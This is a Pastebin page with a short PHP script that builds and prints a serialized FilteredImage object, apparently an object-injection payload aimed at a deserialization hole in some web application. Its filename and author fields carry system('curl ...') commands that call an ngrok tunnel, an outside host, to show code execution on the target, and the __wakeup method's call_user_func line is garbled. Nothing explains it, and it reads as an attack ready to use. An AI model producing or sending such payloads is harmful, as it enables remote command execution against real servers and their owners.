Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- class Image
- {
- public $filename;
- public $author;
- }
- class FilteredImage extends Image
- {
- public $apply_filter;
- public $css;
- public function __wakeup()
- {
- call_user_func;
- }
- public function generate_css()
- {
- return 'filter: ' . $this->css . ';';
- }
- }
- $filename="system('curl http://0.tcp.ngrok.io:12871');";
- $author="system('curl http://0.tcp.ngrok.io:12871');";
- $image = new FilteredImage();
- $image->apply_filter=0;
- $image->filename=$filename;
- $image->author=$author;
- $serialized_img = serialize($image);
- echo $serialized_img;
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement